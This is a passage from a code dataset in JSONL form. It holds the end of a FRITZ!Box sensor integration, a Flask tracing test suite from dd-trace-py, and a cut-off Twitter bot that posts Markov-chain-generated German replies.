\"GetInfo\",\n )\n dsl = dslinterface[\"NewEnable\"]\n except (\n FritzInternalError,\n FritzActionError,\n FritzActionFailedError,\n FritzServiceError,\n ):\n pass\n\n entities = [\n FritzBoxSensor(fritzbox_tools, entry.title, description)\n for description in SENSOR_TYPES\n if dsl or description.connection_type != DSL_CONNECTION\n ]\n\n async_add_entities(entities, True)\n\n\nclass FritzBoxSensor(FritzBoxBaseEntity, SensorEntity):\n \"\"\"Define FRITZ!Box connectivity class.\"\"\"\n\n entity_description: FritzSensorEntityDescription\n\n def __init__(\n self,\n fritzbox_tools: FritzBoxTools,\n device_friendly_name: str,\n description: FritzSensorEntityDescription,\n ) -> None:\n \"\"\"Init FRITZ!Box connectivity class.\"\"\"\n self.entity_description = description\n self._last_device_value: str | None = None\n self._attr_available = True\n self._attr_name = f\"{device_friendly_name} {description.name}\"\n self._attr_unique_id = f\"{fritzbox_tools.unique_id}-{description.key}\"\n super().__init__(fritzbox_tools, device_friendly_name)\n\n def update(self) -> None:\n \"\"\"Update data.\"\"\"\n _LOGGER.debug(\"Updating FRITZ!Box sensors\")\n\n try:\n status: FritzStatus = self._fritzbox_tools.fritz_status\n self._attr_available = True\n except FritzConnectionException:\n _LOGGER.error(\"Error getting the state from the FRITZ!Box\", exc_info=True)\n self._attr_available = False\n return\n\n self._attr_native_value = (\n self._last_device_value\n ) = self.entity_description.value_fn(status, self._last_device_value)\n", "source": "EuleMitKeule/core", "license": "Apache-2.0"}
+{"text": "# -*- coding: utf-8 -*-\nfrom ddtrace.compat import PY2\nfrom ddtrace.constants import ANALYTICS_SAMPLE_RATE_KEY\nfrom ddtrace.contrib.flask.patch import flask_version\nfrom ddtrace.ext import http\nfrom ddtrace.propagation.http import HTTP_HEADER_TRACE_ID, HTTP_HEADER_PARENT_ID\nfrom flask import abort\n\nfrom . import BaseFlaskTestCase\nfrom ...utils import assert_span_http_status_code\n\n\nbase_exception_name = 'builtins.Exception'\nif PY2:\n base_exception_name = 'exceptions.Exception'\n\n\nclass FlaskRequestTestCase(BaseFlaskTestCase):\n def test_request(self):\n \"\"\"\n When making a request\n We create the expected spans\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n res = self.client.get('/')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 8)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.index',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, 'GET /')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 0)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'index')\n self.assertEqual(req_span.get_tag('flask.url_rule'), '/')\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/')\n assert_span_http_status_code(req_span, 200)\n assert http.QUERY_STRING not in req_span.meta\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.index')\n self.assertEqual(handler_span.resource, '/')\n self.assertEqual(req_span.error, 0)\n\n def test_request_query_string_trace(self):\n \"\"\"Make sure when making a request that we create the expected spans and capture the query string.\"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n with self.override_http_config('flask', dict(trace_query_string=True)):\n self.client.get('/?foo=bar&baz=biz')\n spans = self.get_spans()\n\n # Request tags\n assert spans[0].get_tag(http.QUERY_STRING) == 'foo=bar&baz=biz'\n\n def test_analytics_global_on_integration_default(self):\n \"\"\"\n When making a request\n When an integration trace search is not event sample rate is not set and globally trace search is enabled\n We expect the root span to have the appropriate tag\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n with self.override_global_config(dict(analytics_enabled=True)):\n res = self.client.get('/')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n root = self.get_root_span()\n root.assert_matches(\n name='flask.request',\n metrics={\n ANALYTICS_SAMPLE_RATE_KEY: 1.0,\n },\n )\n\n for span in self.spans:\n if span == root:\n continue\n self.assertIsNone(span.get_metric(ANALYTICS_SAMPLE_RATE_KEY))\n\n def test_analytics_global_on_integration_on(self):\n \"\"\"\n When making a request\n When an integration trace search is enabled and sample rate is set and globally trace search is enabled\n We expect the root span to have the appropriate tag\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n with self.override_global_config(dict(analytics_enabled=True)):\n with self.override_config('flask', dict(analytics_enabled=True, analytics_sample_rate=0.5)):\n res = self.client.get('/')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n root = self.get_root_span()\n root.assert_matches(\n name='flask.request',\n metrics={\n ANALYTICS_SAMPLE_RATE_KEY: 0.5,\n },\n )\n\n for span in self.spans:\n if span == root:\n continue\n self.assertIsNone(span.get_metric(ANALYTICS_SAMPLE_RATE_KEY))\n\n def test_analytics_global_off_integration_default(self):\n \"\"\"\n When making a request\n When an integration trace search is not set and sample rate is set and globally trace search is disabled\n We expect the root span to not include tag\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n with self.override_global_config(dict(analytics_enabled=False)):\n res = self.client.get('/')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n root = self.get_root_span()\n self.assertIsNone(root.get_metric(ANALYTICS_SAMPLE_RATE_KEY))\n\n for span in self.spans:\n if span == root:\n continue\n self.assertIsNone(span.get_metric(ANALYTICS_SAMPLE_RATE_KEY))\n\n def test_analytics_global_off_integration_on(self):\n \"\"\"\n When making a request\n When an integration trace search is enabled and sample rate is set and globally trace search is disabled\n We expect the root span to have the appropriate tag\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n with self.override_global_config(dict(analytics_enabled=False)):\n with self.override_config('flask', dict(analytics_enabled=True, analytics_sample_rate=0.5)):\n res = self.client.get('/')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n root = self.get_root_span()\n root.assert_matches(\n name='flask.request',\n metrics={\n ANALYTICS_SAMPLE_RATE_KEY: 0.5,\n },\n )\n\n for span in self.spans:\n if span == root:\n continue\n self.assertIsNone(span.get_metric(ANALYTICS_SAMPLE_RATE_KEY))\n\n def test_distributed_tracing(self):\n \"\"\"\n When making a request\n When distributed tracing headers are present\n We create the expected spans\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n # Default: distributed tracing enabled\n res = self.client.get('/', headers={\n HTTP_HEADER_PARENT_ID: '12345',\n HTTP_HEADER_TRACE_ID: '678910',\n })\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n # Assert parent and trace id are properly set on the root span\n span = self.find_span_by_name(self.get_spans(), 'flask.request')\n self.assertEqual(span.trace_id, 678910)\n self.assertEqual(span.parent_id, 12345)\n\n # Explicitly enable distributed tracing\n with self.override_config('flask', dict(distributed_tracing_enabled=True)):\n res = self.client.get('/', headers={\n HTTP_HEADER_PARENT_ID: '12345',\n HTTP_HEADER_TRACE_ID: '678910',\n })\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n # Assert parent and trace id are properly set on the root span\n span = self.find_span_by_name(self.get_spans(), 'flask.request')\n self.assertEqual(span.trace_id, 678910)\n self.assertEqual(span.parent_id, 12345)\n\n # With distributed tracing disabled\n with self.override_config('flask', dict(distributed_tracing_enabled=False)):\n res = self.client.get('/', headers={\n HTTP_HEADER_PARENT_ID: '12345',\n HTTP_HEADER_TRACE_ID: '678910',\n })\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n # Assert parent and trace id are properly set on the root span\n span = self.find_span_by_name(self.get_spans(), 'flask.request')\n self.assertNotEqual(span.trace_id, 678910)\n self.assertIsNone(span.parent_id)\n\n def test_request_query_string(self):\n \"\"\"\n When making a request\n When the request contains a query string\n We create the expected spans\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n res = self.client.get('/', query_string=dict(hello='flask'))\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 8)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.index',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n # Note: contains no query string\n self.assertEqual(req_span.resource, 'GET /')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 0)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'index')\n # Note: contains no query string\n self.assertEqual(req_span.get_tag('flask.url_rule'), '/')\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n # Note: contains no query string\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/')\n assert_span_http_status_code(req_span, 200)\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.index')\n # Note: contains no query string\n self.assertEqual(handler_span.resource, '/')\n self.assertEqual(req_span.error, 0)\n\n def test_request_unicode(self):\n \"\"\"\n When making a request\n When the url contains unicode\n We create the expected spans\n \"\"\"\n @self.app.route(u'/\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113')\n def unicode():\n return '\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113', 200\n\n res = self.client.get(u'/\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'\\xc3\\xbc\\xc5\\x8b\\xc3\\xaf\\xc4\\x89\\xc3\\xb3\\xc4\\x91\\xc4\\x93')\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 8)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.unicode',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, u'GET /\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 0)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'unicode')\n self.assertEqual(req_span.get_tag('flask.url_rule'), u'/\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113')\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), u'http://localhost/\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113')\n assert_span_http_status_code(req_span, 200)\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.unicode')\n self.assertEqual(handler_span.resource, u'/\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113')\n self.assertEqual(req_span.error, 0)\n\n def test_request_404(self):\n \"\"\"\n When making a request\n When the requested endpoint was not found\n We create the expected spans\n \"\"\"\n res = self.client.get('/not-found')\n self.assertEqual(res.status_code, 404)\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 9)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'flask.handle_user_exception',\n 'flask.handle_http_exception',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, 'GET 404')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 0)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/not-found')\n assert_span_http_status_code(req_span, 404)\n\n # Dispatch span\n dispatch_span = spans[3]\n self.assertEqual(dispatch_span.service, 'flask')\n self.assertEqual(dispatch_span.name, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.resource, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.error, 1)\n self.assertTrue(dispatch_span.get_tag('error.msg').startswith('404 Not Found'))\n self.assertTrue(dispatch_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(dispatch_span.get_tag('error.type'), 'werkzeug.exceptions.NotFound')\n\n def test_request_abort_404(self):\n \"\"\"\n When making a request\n When the requested endpoint calls `abort(404)`\n We create the expected spans\n \"\"\"\n @self.app.route('/not-found')\n def not_found():\n abort(404)\n\n res = self.client.get('/not-found')\n self.assertEqual(res.status_code, 404)\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 10)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.not_found',\n 'flask.handle_user_exception',\n 'flask.handle_http_exception',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, 'GET /not-found')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 0)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/not-found')\n assert_span_http_status_code(req_span, 404)\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'not_found')\n self.assertEqual(req_span.get_tag('flask.url_rule'), '/not-found')\n\n # Dispatch span\n dispatch_span = spans[3]\n self.assertEqual(dispatch_span.service, 'flask')\n self.assertEqual(dispatch_span.name, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.resource, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.error, 1)\n self.assertTrue(dispatch_span.get_tag('error.msg').startswith('404 Not Found'))\n self.assertTrue(dispatch_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(dispatch_span.get_tag('error.type'), 'werkzeug.exceptions.NotFound')\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.not_found')\n self.assertEqual(handler_span.resource, '/not-found')\n self.assertEqual(handler_span.error, 1)\n self.assertTrue(handler_span.get_tag('error.msg').startswith('404 Not Found'))\n self.assertTrue(handler_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(handler_span.get_tag('error.type'), 'werkzeug.exceptions.NotFound')\n\n def test_request_500(self):\n \"\"\"\n When making a request\n When the requested endpoint raises an exception\n We create the expected spans\n \"\"\"\n @self.app.route('/500')\n def fivehundred():\n raise Exception('500 error')\n\n res = self.client.get('/500')\n self.assertEqual(res.status_code, 500)\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 9)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.fivehundred',\n 'flask.handle_user_exception',\n 'flask.handle_exception',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, 'GET /500')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 1)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/500')\n assert_span_http_status_code(req_span, 500)\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'fivehundred')\n self.assertEqual(req_span.get_tag('flask.url_rule'), '/500')\n\n # Dispatch span\n dispatch_span = spans[3]\n self.assertEqual(dispatch_span.service, 'flask')\n self.assertEqual(dispatch_span.name, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.resource, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.error, 1)\n self.assertTrue(dispatch_span.get_tag('error.msg').startswith('500 error'))\n self.assertTrue(dispatch_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(dispatch_span.get_tag('error.type'), base_exception_name)\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.fivehundred')\n self.assertEqual(handler_span.resource, '/500')\n self.assertEqual(handler_span.error, 1)\n self.assertTrue(handler_span.get_tag('error.msg').startswith('500 error'))\n self.assertTrue(handler_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(handler_span.get_tag('error.type'), base_exception_name)\n\n # User exception span\n user_ex_span = spans[5]\n self.assertEqual(user_ex_span.service, 'flask')\n self.assertEqual(user_ex_span.name, 'flask.handle_user_exception')\n self.assertEqual(user_ex_span.resource, 'flask.handle_user_exception')\n self.assertEqual(user_ex_span.error, 1)\n self.assertTrue(user_ex_span.get_tag('error.msg').startswith('500 error'))\n self.assertTrue(user_ex_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(user_ex_span.get_tag('error.type'), base_exception_name)\n\n def test_request_501(self):\n \"\"\"\n When making a request\n When the requested endpoint calls `abort(501)`\n We create the expected spans\n \"\"\"\n @self.app.route('/501')\n def fivehundredone():\n abort(501)\n\n res = self.client.get('/501')\n self.assertEqual(res.status_code, 501)\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 10)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.fivehundredone',\n 'flask.handle_user_exception',\n 'flask.handle_http_exception',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, 'GET /501')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 1)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/501')\n assert_span_http_status_code(req_span, 501)\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'fivehundredone')\n self.assertEqual(req_span.get_tag('flask.url_rule'), '/501')\n\n # Dispatch span\n dispatch_span = spans[3]\n self.assertEqual(dispatch_span.service, 'flask')\n self.assertEqual(dispatch_span.name, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.resource, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.error, 1)\n self.assertTrue(dispatch_span.get_tag('error.msg').startswith('501 Not Implemented'))\n self.assertTrue(dispatch_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(dispatch_span.get_tag('error.type'), 'werkzeug.exceptions.NotImplemented')\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.fivehundredone')\n self.assertEqual(handler_span.resource, '/501')\n self.assertEqual(handler_span.error, 1)\n self.assertTrue(handler_span.get_tag('error.msg').startswith('501 Not Implemented'))\n self.assertTrue(handler_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(handler_span.get_tag('error.type'), 'werkzeug.exceptions.NotImplemented')\n\n # User exception span\n user_ex_span = spans[5]\n self.assertEqual(user_ex_span.service, 'flask')\n self.assertEqual(user_ex_span.name, 'flask.handle_user_exception')\n self.assertEqual(user_ex_span.resource, 'flask.handle_user_exception')\n self.assertEqual(user_ex_span.error, 0)\n\n def test_request_error_handler(self):\n \"\"\"\n When making a request\n When the requested endpoint raises an exception\n We create the expected spans\n \"\"\"\n @self.app.errorhandler(500)\n def error_handler(e):\n return 'Whoops', 500\n\n @self.app.route('/500')\n def fivehundred():\n raise Exception('500 error')\n\n res = self.client.get('/500')\n self.assertEqual(res.status_code, 500)\n self.assertEqual(res.data, b'Whoops')\n\n spans = self.get_spans()\n\n if flask_version >= (0, 12, 0):\n self.assertEqual(len(spans), 11)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.fivehundred',\n 'flask.handle_user_exception',\n 'flask.handle_exception',\n 'tests.contrib.flask.test_request.error_handler',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n else:\n self.assertEqual(len(spans), 10)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.fivehundred',\n 'flask.handle_user_exception',\n 'flask.handle_exception',\n 'tests.contrib.flask.test_request.error_handler',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, 'GET /500')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 1)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/500')\n assert_span_http_status_code(req_span, 500)\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'fivehundred')\n self.assertEqual(req_span.get_tag('flask.url_rule'), '/500')\n\n # Dispatch span\n dispatch_span = spans[3]\n self.assertEqual(dispatch_span.service, 'flask')\n self.assertEqual(dispatch_span.name, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.resource, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.error, 1)\n self.assertTrue(dispatch_span.get_tag('error.msg').startswith('500 error'))\n self.assertTrue(dispatch_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(dispatch_span.get_tag('error.type'), base_exception_name)\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.fivehundred')\n self.assertEqual(handler_span.resource, '/500')\n self.assertEqual(handler_span.error, 1)\n self.assertTrue(handler_span.get_tag('error.msg').startswith('500 error'))\n self.assertTrue(handler_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(handler_span.get_tag('error.type'), base_exception_name)\n\n # User exception span\n user_ex_span = spans[5]\n self.assertEqual(user_ex_span.service, 'flask')\n self.assertEqual(user_ex_span.name, 'flask.handle_user_exception')\n self.assertEqual(user_ex_span.resource, 'flask.handle_user_exception')\n self.assertEqual(user_ex_span.error, 1)\n self.assertTrue(user_ex_span.get_tag('error.msg').startswith('500 error'))\n self.assertTrue(user_ex_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(user_ex_span.get_tag('error.type'), base_exception_name)\n", "source": "thieman/dd-trace-py", "license": "Apache-2.0"}
+{"text": "\"\"\"\ntweet stuff in intervals\n\"\"\"\n\nimport time\nimport datetime\n\nimport twitter\n\nfrom markov_chains import german_text\nfrom config import config_no, config_yes\n\nMAX_TWEET_LENGTH = 280\ngreeting = ' Sehr geehrte/r Anstragssteller/in.'\nending = ' MfG'\nnum_tweets = 3\n\n\nclass FoiaBot:\n def __init__(self, config):\n self.api = twitter.Api(consumer_key=config[\"consumer_key\"],\n consumer_secret=config[\"consumer_secret\"],\n access_token_key=config[\"access_token\"],\n access_token_secret=config[\"access_token_secret\"], sleep_on_rate_limit=True)\n self.screen_name = config[\"screen_name\"]\n self.model = german_text.setup_model(config[\"model_path\"])\n self.hour_to_tweet = config[\"hour_to_tweet\"]\n\n def get_favorites(self):\n favorites = self.api.GetFavorites(\n screen_name=self.screen_name, count=200)\n print(favorites)\n fav_set = set([f.id for f in favorites])\n return fav_set\n\n def get_status_to_work_on(self):\n favorites = self.get_favorites()\n\n status_list = self.api.GetMentions(count=200, trim_user=True,\n contributor_details=False, include_entities=False)\n for status in status_list:\n print(status)\n if status.id in favorites:\n continue\n if status.in_reply_to_status_id is not None:\n continue\n if not status.text.startswith('@' + self.screen_name):\n continue\n self.post_replies(status)\n\n def post_replies(self, status):\n tweets = self.create_tweets()\n print(tweets)\n success = True\n reply_to_status_id = status.id\n for tweet in tweets:\n response = self.api.PostUpdate(tweet, in_reply_to_status_id=reply_to_status_id, auto_populate_reply_metadata=True,\n exclude_reply_user_ids=False, trim_user=True, verify_status_length=False)\n if response is None:\n success = False\n break\n else:\n reply_to_status_id = response.id\n\n if success:\n self.api.CreateFavorite(status=status)\n\n def generate_sentence(self, tweet_text, chars_left, set_limit=False):\n max_length = 150\n if set_limit:\n max_length = chars_left\n\n new_sent = self.model.make_short_sentence(max_length, tries=100)\n if new_sent is not None and len(new_sent) < chars_left:\n tweet_text += ' ' + new_sent\n return tweet_text\n\n # https://stackoverflow.com/questions/7703865/going-from-twitter-date-to-python-datetime-date\n def get_date_from_twitter_string(self, created_at):\n x = time.strptime(created_at, '%a %b %d %H:%M:%S +0000 %Y')\n return datetime.datetime.fromtimestamp(time.mktime(x))\n\n def tweet_once_a_day(self):\n now = datetime.datetime.now()\n print(now.hour)\n if now.hour == self.hour_to_tweet:\n last_status_list = self.api.GetUserTimeline(screen_name=self.screen_name, count=1,\n include_rts=False, trim_user=True, exclude_replies=True)\n print(last_status_list)\n if last_status_list is None:\n return\n if len(last_status_list) == 0:\n self.post_single_tweet()\n if len(last_status_list) == 1:\n last_status = last_status_list[0]\n created_at_date = self.get_date_from_twitter_string(\n last_status.created_at)\n\n time_diff = now - created_at_date\n print('time_diff', time_diff)\n time_diff_hours = time_diff.seconds / 3600 + time_diff.days * 24\n print(time_diff_hours)\n if time_diff_hours > 20: # something is broken with the date but whatever\n self.post_single_tweet()\n\n def post_single_tweet(self):\n tweet_text = self.generate_single_tweet_text()\n response = self.api.PostUpdate(tweet_text, verify_status_length=False)\n\n def generate_single_tweet_text(self):\n tweet_text = \"\"\n while True:\n chars_left = MAX_TWEET_LENGTH - len(tweet_text)\n chars_left -= 1 # for the space\n if chars_left < 20:\n break\n if chars_left < 70:\n tweet_text = self.generate_sentence(\n tweet_text, chars_left, True)\n else:\n tweet_text = self.generate_sentence(\n tweet_text, chars_left)\n return tweet_text\n\n def create_tweets(self):\n tweets = []\n\n for i in range(num_tweets):\n tweet_text = f'{i + 1}/{num_tweets}'\n if i == 0:\n tweet_text += greeting\n\n while True:\n chars_left = MAX_TWEET_LENGTH - \\\n len(tweet_text) - 1 # because of space\n\n # ensure space for the ending\n if i + 1 == num_tweets:\n chars_left -= len(ending)\n\n if chars_left < 20:\n # at ending\n if i + 1 == num_tweets:\n tweet_text += ending\n break\n if chars_left < 70:\n tweet_text = self.generate_sentence(\n tweet_text, chars_left, True)\n else:\n tweet_text = self.generate_sentence(\n tweet_text, chars_left)\n\n tweets.append(tweet_text)\n\n return tweets\n\n def run(self):\n self.get_status_to_work_on()\n\n\ndef main():\n print('main called')\n no_bot = FoiaBot(config_no)\n print('after setting up no bot')\n yes_bot = FoiaBot(config_yes)\n print('after setting up yes bot')\n\n no_bot.run()\n print('after running no bot')\n yes_bot.run()\n print('after running yes bot')\n no_bot.tweet_once_a_day()\n yes_bot.tweet_once_a_day()\n print('after tweet once a 